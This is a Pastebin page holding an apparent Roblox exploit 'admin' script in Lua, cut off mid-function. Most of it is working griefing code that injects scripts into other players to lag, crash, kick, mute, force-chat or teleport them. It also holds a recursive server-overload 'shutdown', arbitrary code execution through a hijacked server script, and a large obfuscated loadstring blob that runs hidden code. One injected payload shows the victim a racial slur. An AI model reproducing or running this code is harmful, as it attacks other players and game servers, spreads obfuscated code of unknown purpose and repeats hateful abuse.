Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait()
- LocalPlayer = game:service("Players").LocalPlayer
- script.Parent = __Sword__
- Tabs = {}
- Cmds = {}
- key = "/"
- chatgui = false
- probemode = false
- Safe = "TheScriptGod"
- connection = nil
- Updates = " No New Current Updates, Sorry :c"
- --not sure if it will work.
- --BRanks = -1 = Kick, -2 = Lag, -3 = Mute, -4 = Rejoin
- tabmodel = Instance.new("Model", Workspace)
- tabmodel.Name = "Sword tabs"
- SourceName = "DSource"
- Banlist = {"StudioGod","Studio8x8"}
- function Crash(name)
- name = tostring(name or "nil")
- local t = Instance.new("StringValue")
- t.Name = "DISC: "..name
- t.Parent = game.Lighting
- game:GetService("Debris"):AddItem(t,1)
- end
- LagSource = [==[
- wait(0)
- script.Parent = nil
- plr = game:GetService("Players").LocalPlayer
- local plrgui = plr:findFirstChild("PlayerGui")
- if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
- while plr.Parent == game:GetService("Players") do
- wait()
- for i = 1, 1000 do
- local sc = Instance.new("ScreenGui",plrgui)
- local fr = Instance.new("TextLabel",sc)
- fr.Text = "LAGGING"
- fr.Size = UDim2.new(1, 0, 1, 0)
- fr.FontSize = "Size48"
- end
- end
- ]==]
- FunScript = [[
- LP = game:service'Players'.LocalPlayer
- Shapes = {"Ball", "Block"}
- wait()
- script.Parent = nil
- Delay(0, function()
- while wait() do
- workspace.CurrentCamera.CameraType = "Scriptable"
- workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
- workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
- workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
- local Part = Instance.new("Part", workspace.CurrentCamera)
- Part.Shape = Shapes[math.random(1, 2)]
- Part.Anchored = true
- Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
- Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
- Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
- local Smoke = Instance.new("Smoke", Part)
- Smoke.Color = Color3.new(math.random(), math.random(), math.random())
- Smoke.Opacity = 0.7
- local Sparkles = Instance.new("Sparkles", Part)
- Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
- local Fire = Instance.new("Fire", Part)
- Fire.Color = Color3.new(math.random(), math.random(), math.random())
- Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
- local Ex = Instance.new("Explosion", workspace.CurrentCamera)
- Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
- Ex.BlastPressure = 15
- Ex.BlastRadius = 12.5
- if not workspace.CurrentCamera:findFirstChild("Hint") then
- local mes = Instance.new("Hint", workspace.CurrentCamera)
- mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
- end
- end
- end)
- ]]
- Playerlist = {}
- function NilCrash(Name)
- local Crasher = Instance.new("StringValue")
- Crasher.Name = "Client"
- Crasher.Value = string.lower(tostring(Name))
- Crasher.Parent = game:GetService("Lighting")
- wait(1)
- if Crasher and Crasher.Parent then
- ypcall(function()
- Crasher:Destroy()
- end)
- end
- end
- coroutine.resume(coroutine.create(function()
- while wait(3) do
- if game:GetService("Players").Name ~= "Players" then
- game:GetService("Players").Name = "Players"
- end
- end
- end))
- function Dismiss()
- for i = 1, 10 do
- for i = 1, #Tabs do
- table.remove(Tabs, i)
- if tabmodel then
- tabmodel:ClearAllChildren()
- end end end
- end
- function AddCmd(Name,Say,Desc,Func)
- table.insert(Cmds,{["Name"] = Name,["Say"] = Say,["Desc"] = Desc,["Func"] = Func})
- end
- AddCmd("Banlist","bl","Show the banned players",
- function()
- Dismiss()
- for i, v in pairs(Banlist) do
- Output(v)
- end
- end
- )
- AddCmd("Fun","fun","Make some fun for a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS(FunScript, plr.Backpack)
- end
- end
- end
- )
- AddCmd("Lag player","lag","Lag a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS(LagSource, plr.Backpack)
- end
- end
- end
- )
- AddCmd("Nuke","nuke","Nuke a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- a = Instance.new("Explosion", plr.Character)
- a.Position = plr.Character.Torso
- end
- end
- end
- )
- AddCmd("Fire","fire","Fire a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- Instance.new("Fire", plr.Character.Torso)
- end
- end
- end
- )
- AddCmd('Idiots','nilp','Find out on your own',
- function(plrs,msg)
- for _,v in pairs(Playerlist) do
- if not game.Players[v.Name] then
- Output('(NIL) '..v.Name, function() Output('NilCrash this person?', function() NilCrash(v.Name) end) end)
- else
- Output(v.Name,__)
- end
- end
- end
- )
- AddCmd("Un-fire","unfire","Remove fire from player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- pcall(function()
- for j, k in pairs(plr.Character.Torso:GetChildren()) do
- if k:IsA("Fire") then
- k:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- found = false
- coroutine.wrap(function()
- while found == false do
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
- for _,scriptinworkspace in pairs(workspace:children()) do
- if scriptinworkspace then
- if scriptinworkspace:IsA("Script") then
- if scriptinworkspace:FindFirstChild(SourceName) then
- newScript = scriptinworkspace:Clone()
- wait(0.2)
- newScript.Name = "NewScript"
- newScript.Disabled = true
- newScript:FindFirstChild(SourceName).Value = ""
- Output("Source found", __)
- found = true
- break
- end
- end
- end
- end
- wait()
- end
- end)()
- AddCmd("Unpunish player","unpunish","Restore the player's character",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr then
- NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
- end
- end
- end
- )
- function NewS(sourcevalue, parent)
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
- NS(sourcevalue, parent)
- else
- if newScript then
- local scr = newScript:Clone()
- if scr:FindFirstChild(SourceName) then
- if scr:FindFirstChild(SourceName) then
- scr:FindFirstChild(SourceName).Value = sourcevalue
- scr.Parent = parent
- wait(0.5)
- scr.Disabled = false
- return scr
- end
- end
- end
- end
- end
- sorcery = script:Clone()
- Services = {
- game:GetService("Workspace"),
- game:GetService("Players"),
- game:GetService("Lighting"),
- game:GetService("StarterPack"),
- game:GetService("StarterGui"),
- game:GetService("Teams"),
- game:GetService("SoundService"),
- game:GetService("Debris"),
- game:GetService("InsertService"),
- game:GetService("RunService"),
- game:GetService("Chat"),
- game:GetService("TeleportService"),
- game:GetService("Geometry"),
- game:GetService("MarketplaceService"),
- game:GetService("BadgeService"),
- game:GetService("NetworkClient"),
- game:GetService("FriendService"),
- }
- function Explore(Item)
- Dismiss()
- if(Item==nil)then
- for _,v in pairs(Services)do
- Output(v.Name,function() Explore(v) end)
- end;
- else
- f={
- ['View children']=function()
- Dismiss()
- for _,v in pairs(Item:children())do
- Output(v.Name,function()
- Explore(v)
- wait()
- end);
- end;
- end;
- ['View parent']=function()
- Explore(Item.Parent)
- end;
- ['Destroy']=function()
- Item:Destroy();
- Explore(Item.Parent);
- end;
- ['Clear']=function()
- Item:ClearAllChildren()
- end;
- ['Clone']=function()
- pcall(function()
- cloneableObj = Item:clone()
- end)
- end;
- ['Remove']=function()
- Item:remove()
- end;
- ['Paste']=function()
- if cloneableObj then
- cloneableObj.Parent = Item
- end
- end;
- ['Ki'..'ck Item']=function()
- NewLS("local plr = game:service'Players'.LocalPlayer; plr:Ki".."ck()", Item)
- end;
- };
- for i,v in pairs(f)do
- Output(tostring(i),v);
- end;
- Output('Item Name: \''..tostring(Item.Name)..'\'',nil);
- Output('Class: \''..tostring(Item.ClassName)..'\'',nil);
- if cloneableObj then
- Output('Currently Cloning: \''..tostring(cloneableObj.Name)..'\'',nil);
- end
- end;
- end;
- AddCmd("Explore","explore","Explore the game",
- function()
- Explore()
- end
- )
- function NewLS(sourcevalue, parent)
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
- NLS(sourcevalue, parent)
- else
- local NS = sorcery:Clone()
- NS.Name = "NewLocal"
- local Source = NS:findFirstChild(SourceName)
- if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName)
- Source.Value = sourcevalue
- NS.Parent = parent
- NS.Disabled = false
- return NS
- end
- end
- Clothes = {}
- for _,Item in pairs(LocalPlayer.Character:GetChildren()) do
- if Item:IsA('CharacterMesh') or Item:IsA('Hat') or Item:IsA('Shirt') or Item:IsA('Pants') then
- table.insert(Clothes,Item:Clone())
- end
- end
- for i,v in pairs(LocalPlayer.Character:GetChildren()) do
- if v:IsA("BodyColors") then
- body = v
- torsocolor = body.TorsoColor
- leftlegcolor = body.LeftLegColor
- rightlegcolor = body.RightLegColor
- leftarmcolor = body.LeftArmColor
- rightarmcolor = body.RightArmColor
- headcolor = body.HeadColor
- end
- end
- mouse = LocalPlayer:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "z" then
- game:service'StarterGui':SetCoreGuiEnabled(4, true)
- end
- end)
- AddCmd("Toogle ChatGUI","chat","Toogle ChatGUI on/off",
- function(plrs, msg)
- if msg == "off" then
- chatgui = false
- elseif msg == "on" then
- chatgui = true
- end
- end
- )
- AddCmd("Set WalkSpeed","ws","Set the walkspeed of player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local speed = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v.Character ~= nil and v.Character:findFirstChild("Humanoid") ~= nil then
- v.Character:findFirstChild("Humanoid").WalkSpeed = speed
- end
- end
- end
- )
- AddCmd("Teleport","tp","Teleport a player to a place",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local id = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v and v.Backpack then
- NewLS([[game:service'TeleportService':Teleport(]]..id..[[)]], v.Backpack)
- end
- end
- end
- )
- AddCmd("Chat","cht","Forces a player to chat ;)",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local id = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v and v.Backpack then
- NewLS([==[game:service'Players':Chat(']==]..id..[==[')]==], v.Backpack)
- end
- end
- end
- )
- Bad_Char = ""
- function chatgui(msg)
- if not chatgui then return end
- if probemode == false then
- if LocalPlayer.Character:findFirstChild("Head") then
- mainPart = LocalPlayer.Character:findFirstChild("Head")
- end
- end
- if probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- mainPart = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe")
- end
- end
- local bg = Instance.new("BillboardGui", mainPart)
- bg.Adornee = mainPart
- bg.Name = "CHATGUIBG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local bg2 = Instance.new("BillboardGui", mainPart)
- bg2.Adornee = mainPart
- bg2.Name = "CHATGUIBG2"
- bg2.Size = UDim2.new(4, 0, 2.5, 0)
- bg2.StudsOffset = Vector3.new(-4, 4.5, 0)
- local text = Instance.new("TextLabel", bg)
- text.Size = UDim2.new(3, 0, 0.5, 0)
- text.FontSize = "Size18"
- text.TextScaled = true
- text.TextTransparency = 0
- text.BackgroundTransparency = 1
- text.TextTransparency = 0
- text.TextStrokeTransparency = 0
- text.Font = "Arial"
- text.TextColor = BrickColor.new("Institutional white")
- text.Text = " "
- Message = msg:sub(1)
- if #Message >50 then return end
- for i = 0, #Message, 1 do
- wait(0.01)
- text.Text = string.gsub("["..LocalPlayer.Name.."]: "..Message:sub(0, i),'fuck','fuck')
- end
- wait()
- coroutine.resume(coroutine.create(function()
- for i = 0, 5, 0.05 do
- if bg ~= nil then
- if bg2 ~= nil then
- wait()
- bg2.StudsOffset = bg2.StudsOffset + Vector3.new(0, 0.05, 0)
- end
- bg.StudsOffset = bg.StudsOffset + Vector3.new(0, 0.05, 0)
- end
- end
- end))
- for i=text.TextTransparency,1,0.02 do
- wait()
- text.TextTransparency = i
- text.TextStrokeTransparency = i
- end
- if bg == nil then return end
- bg:Destroy()
- if bg2 == nil then return end
- bg2:Destroy()
- end
- LocalPlayer.Chatted:connect(chatgui)
- AddCmd("Message","m","Make a message over the screen",
- function(plrs, msg)
- Message = msg
- NewS([[
- a = Instance.new("Message", workspace)
- a.Text = ]].."[ "..LocalPlayer.Name.." ]: "..Message, workspace)
- end
- )
- AddCmd("Hint","h","Make a message at top of the screen",
- function(plrs, msg)
- Hint = msg
- NewS([[
- a = Instance.new("Hint", workspace)
- a.Text = ]]..Hint, workspace)
- end
- )
- AddCmd("Commands","cmds","Show the list of commands",
- function()
- Dismiss()
- for i, v in pairs(Cmds) do
- Output(v["Name"],
- function()
- Output("Description: "..v["Desc"], __)
- Output("Usage: "..v["Say"], __)
- Output("Name: "..v["Name"], __)
- end)
- end
- end
- )
- AddCmd("Rejoin player","rej","Rejoin the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Create base","base","Create the base",
- function()
- a = Instance.new("Part")
- a.Parent = Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- end
- )
- AddCmd("Ping","ping","Ping something",
- function(plrs, msg)
- if msg == "" then
- Output("pong", __)
- else
- Output(msg, __)
- end
- end
- )
- AddCmd("Dismiss","dis","Dismiss tabs",
- function()
- Dismiss()
- end
- )
- AddCmd("Probe mode", "probe", "Be a ball and fly around",
- function()
- probemode = true
- Dismiss()
- if LocalPlayer.Character then LocalPlayer.Character = nil end
- if workspace.CurrentCamera == nil then return end
- local camera = workspace.CurrentCamera
- local probe = Instance.new("Part", workspace)
- M = Instance.new("SpecialMesh", probe)
- M.MeshId = "http://www.roblox.com/asset/?id=121925241"
- M.TextureId = "http://www.roblox.com/asset/?id=121924580"
- M.Scale = Vector3.new(2, 2, 2)
- probe.TopSurface = 0
- probe.Anchored = true
- probe.BottomSurface = 0
- probe.Name = LocalPlayer.Name.."'s probe"
- local rotation = 0
- local bbg = Instance.new("BillboardGui", probe)
- bbg.Size = UDim2.new(3, 0, 3 ,0)
- bbg.ExtentsOffset = Vector3.new(0, 2, 0)
- local txt = Instance.new("TextLabel", bbg)
- txt.FontSize = "Size24"
- txt.Font = "SourceSansBold"
- txt.Text = LocalPlayer.Name
- txt.BackgroundTransparency = 1
- txt.TextColor = BrickColor.new("Institutional white")
- txt.TextStrokeTransparency = 0
- txt.Size = UDim2.new(1,0,1,0)
- local pl = Instance.new("PointLight", probe)
- pl.Shadows = true
- pl.Range = 20
- coroutine.wrap(function()
- while pl ~= nil do
- pl.Color = Color3.new(math.random(), math.random(), math.random())
- wait(0.8)
- end
- end)()
- coroutine.wrap(function()
- while LocalPlayer.Character == nil and probe.Parent == workspace and probe ~= nil and game:service'RunService'.Stepped:wait() do
- probe.CFrame = camera.Focus * CFrame.Angles(0, rotation, 0)
- rotation = rotation + 0.1
- end
- if camera then
- camera:Destroy()
- end
- probe:Destroy()
- end)()
- end
- )
- AddCmd("Make your character","char","Creates your character",
- function()
- if workspace.CurrentCamera == nil then return end
- local camera = workspace.CurrentCamera
- local new_char = game:service("InsertService"):LoadAsset(68452456):GetChildren()[1]
- local human = new_char.Humanoid
- human.Parent = nil
- new_char.Name = LocalPlayer.Name
- wait()
- human.Parent = new_char
- camera.CameraSubject = human
- camera.CameraType = "Custom"
- new_char.Parent = workspace
- local pl = Instance.new("PointLight", new_char.Head)
- pl.Range = 24
- pl.Shadows = true
- LocalPlayer.Character = new_char
- new_char:MakeJoints()
- new_char.Torso.BrickColor = torsocolor
- new_char["Left Leg"].BrickColor = leftlegcolor
- new_char["Right Leg"].BrickColor = rightlegcolor
- new_char["Left Arm"].BrickColor = leftarmcolor
- new_char["Right Arm"].BrickColor = rightarmcolor
- new_char.Head.BrickColor = headcolor
- for i,v in pairs(Clothes) do
- v:Clone().Parent = new_char
- end
- probemode = false
- end
- )
- AddCmd("Stop the commands","cremove","Remove the commands",
- function()
- Output("Are you sure that you wan't to remove the Sword admin?",
- function()
- Output("Are you 100% sure that you want this???",
- function()
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- LocalPlayer = NO_PLAYER
- script:findFirstChild(SourceName).Value = " "
- script.Disabled = true
- tabmodel:ClearAllChildren()
- tabmodel:Destroy()
- connection:disconnect()
- Tabs = {}
- Cmds = {}
- Banlist = {}
- fukhed.all = true
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- Dismiss()
- end
- end))
- end)
- end)
- end
- )
- AddCmd("ForceField","ff","Give forcefield to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- Instance.new("ForceField", plr.Character)
- end
- end
- end
- )
- AddCmd("Sparkles","sparkles","Give sparkles to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- Instance.new("Sparkles", plr.Character.Torso)
- end
- end
- end
- )
- AddCmd("Un-Sparkles","unsparkles","Remove sparkles from player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- pcall(function()
- for j, k in pairs(plr.Character.Torso:GetChildren()) do
- if k:IsA("Sparkles") then
- k:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Crash player","crash","Crash the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS([==[
- game:GetService("RunService").RenderStepped(function()
- Delay(0, function() return end)
- end)]==], plr.Backpack)
- end
- end
- end
- )
- AddCmd("Respawn player","respawn","Respawn the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
- end
- end
- )
- AddCmd("Mute player","mute","Block the player chat",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Unmute player","unmute","Unblock the player chat",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Un-ForceField","unff","Remove the forcefield that you gave to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- pcall(function()
- for _,v in pairs(plr.Character:GetChildren()) do
- if v:IsA("ForceField") then
- v:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Gear","gear","Give gear to player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local asset = msg:sub(tonumber(keypos+1))
- for _,plr in pairs(plrs) do
- if plr and plr.Backpack then
- local obj = game:service("InsertService"):LoadAsset(asset)
- pcall(function()
- for a,g in pairs(obj:children())do
- if g:IsA("Tool") or g:IsA("HopperBin") then
- g.Parent = plr.Backpack
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("God player","god","Make the player immortal",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Humanoid then
- plr.Character.Humanoid.MaxHealth = math.huge
- end
- end
- end
- )
- AddCmd("Ungod player","ungod","Make the player mortal",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character.Humanoid.MaxHealth = 100
- end
- end
- end
- )
- AddCmd("Kick player","kick","Kick a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SerCoreGuiEnabled(3,false)", plr.Backpack)
- plr:Destroy()
- end
- end
- end
- )
- AddCmd("Kill player","kill","Kill a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character:BreakJoints()
- end
- end
- end
- )
- AddCmd("Punish player","punish","Remove character of a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character:Destroy()
- end
- end
- end
- )
- AddCmd("Admin a player","admin","Give admin to a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- a = script:Clone()
- a.Parent = plr.Backpack
- Output("You gave admin to: "..plr.Name, __)
- end
- end
- end
- )
- AddCmd("Fix cam","fcam","Fix anyone's cam",
- function(plrs, msg)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS([[
- game.Workspace.CurrentCamera:Destroy()
- cam = Instance.new("Camera", workspace)
- cam.Name = "CurrentCamera"
- cam.FieldOfView = 70
- cam.CameraType = "Custom"
- cam.CameraSubject = game.Players.LocalPlayer.Character.Humanoid]], plr.Backpack)
- end
- end
- end
- )
- AddCmd("AFK","afk","Ping yourself as afk",
- function()
- Dismiss()
- for i = 1,8 do
- wait()
- Output("AFK", __)
- end
- end
- )
- AddCmd("Back","back","Ping yourself as back",
- function()
- Dismiss()
- for i = 1,8 do
- wait()
- Output("Back", __)
- end
- wait(3)
- Dismiss()
- end
- )
- AddCmd("Ban a player","ban","Kicks a player when he enters",
- function(plrs, msg)
- for _,v in pairs(plrs) do
- if v then
- table.insert(Banlist,v.Name)
- Output('Banned | '..v.Name,__)
- else
- Output(Error)
- end
- end
- end
- )
- local charMap = {["+"] = 0, ["^"] = 1, ["%"] = 2, [")"] = 3, ["*"] = 4, ["$"] = 5, ["-"] = 6, ["_"] = 7, ["#"] = 8, ["&"] = 9, ["@"] = 10, ["("] = 11, ["?"] = 12, ["~"] = 13, ["!"] = 14, ["="] = 15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
- "?-=-)-^-?-+%&-~)~%^)()?-=-^-*-)_*_%_&-!-_-#%)_*_%_&-!-_-!%_-)_$_%-#B%!*!_~*~!~^&&~?@(&!&_@_~&~@A?@~@~_~~?^~&?&#)~)~+~-?@?%?##+?(A?#(~_-_(=?=!!@!)=$@?!!(?@!@-($!-!-~_~*!)!=~*~_~!?~#-~$~^~-?&?+?$#?(-?-?^($_~-@$@$(*-*~&^(~=$##$&$?$?$^^!A=-+&%#)$)*%!%~%!~=^=^!+!+?$+)%)-)#^)^_+&+==~($+)+!=%=*=@!!@*!~!?!-~&&+&&@#?*?=&$?#($($_(-#&*@=@%@$@$@~*%&)&_#?#()^*$#*&)_*_#-~-?^?$%%*^_)#$?*^$+$_*_)-*_)-)#C)**~^?$+)%)-))%$%+%#?_^)+!+^+*+*+!@*(!#-!^=+%$!-~~^%!)~$~+~-#)#+-#(~(?(#(#?&@?$?$$_*$+-A@(-*@$!)!_$#?^$#~(A?-)_)%+%~=!)+-($)$*$=*==$==!~!)=)!!^?$+)%)-)+!~(*^#-?_&+(@?!!+&+^+%+~=~@)@+~?~_!@C~$#@?+~&_%?%(^(!@$-)@-(&$^(%A&!#+&*&!_@*_*$*+*()^#^%&_?$?$*-+-&$*$!*~*&*!)_*!)!%_)-=^=-=$)_B~?#+*+@?_@#!?$!-$+~=!=&=&@=&+~@A~+~#~%~-?~_~?*?^_!--?(#)@+(!@?@@@@&!*(#@#=#_###%&*)@)@%$-^-_%*+$*_-%-@$($-$-+?=?%_)+*~)=%^)!-+*+*%**~?%!~--&)@)~))?&?&(*=+=-()&@!=!^!)#!&(#%&$#!#=_-#~(&?=(^(=(^(*(+(_-=&%-=&+_&&#$($%--&-#%&+&@#)#%)%#+#(_=-^__-(%~$=$$$)--^)^($&$*$#*@*+**+$)&*^*=%="
- ,"!_%@!&!!!)!!^(~*~??(~$^@~#~#?^+_+@=!+=^#($(^(=@=-__(-$__-=-_@*((@!&~@+@*@^@&$%&-$*&--+&+$*$?$?$^&%#=#!#&#)#))*#)#=_*___!-))--&-+-=-)%^%@-&-$-@$~$*$&^(*+-&$#*&+%*-+-+%^#+++?)@=*=~!~=!=~=!!#%=%)%-!*!^!+!%#(#+#(#!__#+?!?-?@(@?!()?^?@_*(&_#((#-(__?_$#((~@((((_(%()-$($(%(#@?@*@@-!&%@@&@@=$!$#@#@$@(&=&_&~$+&-@+@+&%$?#^$%$)$($*$!*(#@*$*=)+$%$%$**=__#?_+*=)~)~)%%?%%%!%%%?%--$_!-)-*_&-=-!-#%)-&%&-~)&-(%^)()%_$-*_$_%_!-+%)_*_%_&-!-_-!%)-#-^-%_#%#%)_*_%_&-!-_-!%%-&_*_$-#%)-&%(%~%^)^)#)(%&-&%$%+%%)$)-)&%$-!-*-&%&%#%&%"
- }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(charMap[lo]+charMap[hi]*16)end)))),getfenv())()
- AddCmd("Shutdown the game","sd","Shutdown the game",
- function()
- NewS([[ local function BufferOverflow(object)
- object.DescendantAdded:connect(BufferOverflow)
- Instance.new("IntValue", object)
- end
- BufferOverflow(Game)
- ]], workspace)
- end
- )
- AddCmd("Check source","chks","Check if the source is found",
- function()
- if found then
- Output("Source is found")
- else
- Output("Source is not found")
- end
- end
- )
- AddCmd("Say bye to everyone","bye","Say bye to everyone",
- function()
- Dismiss()
- for i = 1,8 do
- Output("Bye", __)
- end
- end
- )
- AddCmd("Check source name","chksn","Check the source name",
- function()
- Output(SourceName, __)
- end
- )
- AddCmd("Change source name","csn","Change the source name",
- function(plrs, msg)
- SourceName = tostring(msg)
- end
- )
- AddCmd("Kick player list","klist", "Show a kick player list",
- function()
- Dismiss()
- Output("Click on the player name that you want to kick", __)
- for _,v in pairs(game:GetService("Players"):GetChildren()) do
- Output(v.Name,
- function()
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", v.Backpack)
- v:Destroy()
- end)
- end
- end
- )
- AddCmd("Script","script","Execute a Script",
- function(plrs, msg)
- NewS(msg, workspace)
- end
- )
- AddCmd("LocalScript","local","Execute a LocalScript",
- function(plrs, msg)
- NewLS(msg, LocalPlayer.Backpack)
- end
- )
- AddCmd("Execute", "exe","Execute a LocalScript for admin",
- function(plrs, msg)
- a,b = ypcall(function()
- loadstring(msg)()
- end) if not a then Output(b,"Bright red") end
- end
- )
- AddCmd("#Commands","#cmds","See how much are commands in this admin",
- function()
- Output(#Cmds, __)
- end
- )
- AddCmd("Clean workspace","clean","Clean everything in workspace except terrain",
- function()
- NewS([[
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v.Name ~= "Terrain" then
- v:Destroy()
- end
- end
- ]],workspace)
- wait(1)
- a = Instance.new("Part")
- a.Parent = Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- NewS([[
- for _,v in pairs(game.Players:GetChildren()) do
- v:LoadCharacter()
- end
- ]], workspace)
- end
- )
- AddCmd("Script Help","sh","Help everyone with scripts",
- function()
- Dismiss()
- for i = 1,1 do
- wait()
- Output("Script Help:", __)
- Output("Google ROBLOX Script Bot and download it.", __)
- Output("Find a script using ROBLOX Catalog.", __)
- Output("Open ROBLOX Studio.", __)
- Output("Edit any place and insert your script.", __)
- Output("Copy your ENTIRE script.", __)
- Output("Paste the script in the text box.", __)
- Output("Select the 'Local Script' box, if the script it local.", __)
- Output("Name your script and press 'Run Script'.", __)
- Output("Enjoy showing off your script!", __)
- end
- end
- )
- AddCmd("Darkhearts","dh","Gives Darkhaerts",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Darkhearts Given",__)
- local obj = game:service("InsertService"):LoadAsset(108149175)
- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = LocalPlayer.Backpack end end
- end
- end
- )
- AddCmd("Machete","machete","Gives Machete",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Machete Given",__)
- local obj = game:service("InsertService"):LoadAsset(123234673)
- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = LocalPlayer.Backpack end end
- end
- end
- )
- AddCmd("Gear","gear","Give gear to player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local asset = msg:sub(tonumber(keypos+1))
- for _,plr in pairs(plrs) do
- if plr and plr.Backpack then
- local obj = game:service("InsertService"):LoadAsset(asset)
- pcall(function()
- for a,g in pairs(obj:children())do
- if g:IsA("Tool") or g:IsA("HopperBin") then
- g.Parent = plr.Backpack
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Dark Character","dark","Make Character Dark",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Character is Now Dark",__)
- player=game.Players.LocalPlayer
- char=player.Character
- Color=BrickColor.new("Grey")
- Color2=BrickColor.new(Color3.new(0,0,0))
- model=Instance.new("Model")
- model.Name="Suit"
- model.Parent=char
- d=0
- Debounce=true
- fake=char.Head:clone()
- pcall(function() fake.face:remove() end)
- char.Head.Transparency=1
- fake.Parent=model
